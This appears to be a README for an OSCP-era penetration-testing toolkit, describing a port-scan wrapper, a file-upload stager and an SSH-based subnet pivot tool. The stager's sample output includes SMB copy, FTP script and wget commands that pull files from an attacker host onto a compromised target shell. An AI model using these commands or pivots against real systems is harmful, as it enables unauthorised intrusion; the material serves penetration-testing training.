Miscellaneous pentesting scripts I wrote as I was going through the OSCP certification. I will continue to add scripts as I clean them up.

Just drag the scripts to your PATH and install the dependencies. Calling each script with no arguments will provide usage instructions. Here is a breakdown of the scripts and their uses:

General purpose "first engagement" scan. Tries to achieve a compromise between speed and thoroughness. It starts with a lightweight "top ports" nmap scan so you have something to do while waiting for the in-depth sweeps. It continues with a full range unicornscan, then drills down on the open ports with NMAP. Finally, it repeats the process for the UDP ports.

Attack upload manager. Through various python dependencies, it helps upload files to target hosts under a variety of protocols. Choose the upload protocol, and c0up generates a quick script to copy-paste into the target shell.

Supports:

• smb
• ftp
• http

Example (smb):

[c0rax](c0toolkit)> ./c0up -s test 
=========== MSDOS ATTACK CODE =========== 
copy \\10.11.0.14\c0up\test test
========================================= 

 Copy the attack code above to your target shell, then terminate this 
 script with CTRL-C to shut down the SMB server. 

 Starting smbserver instance... 
 * impacket-smbserver c0up test

Example (ftp):

[c0rax](test)> ./c0up -f 21 test
=========== MSDOS ATTACK CODE =========== 
echo open 192.168.1.66 21 > ftp.txt
echo USER iftp iftp>> ftp.txt
echo quote pasv>> ftp.txt
echo binary >> ftp.txt
echo GET test >> ftp.txt
echo bye >> ftp.txt
ftp -v -n -s:ftp.txt
========================================= 

=========== BASH ATTACK CODE ============ 
$ wget --user=iftp --password iftp ftp://192.168.1.66:21/test
========================================= 

 Copy the attack code above to your target shell, then terminate this 
 script with CTRL-C to shut down the web server. 

 Starting python ftp server instance... 
 * python -m pyftpdlib --port=21 -u iftp -P iftp -D

Provided you have ssh root access to a remote linux host, c0lonize offers a quick way to set up layer 3 tunneling, establishing a VPN over SSH and easily taking over an entire subnet. It's a noisy but very comfortable way to pivot, which is very useful in engagements like the OSCP labs.

It has a big advantage over sshuttle and similar tools, in that you have control over IP traffic. You can ping, SYN-scan and use all your tools directly, without needing proxychains as an intermediary.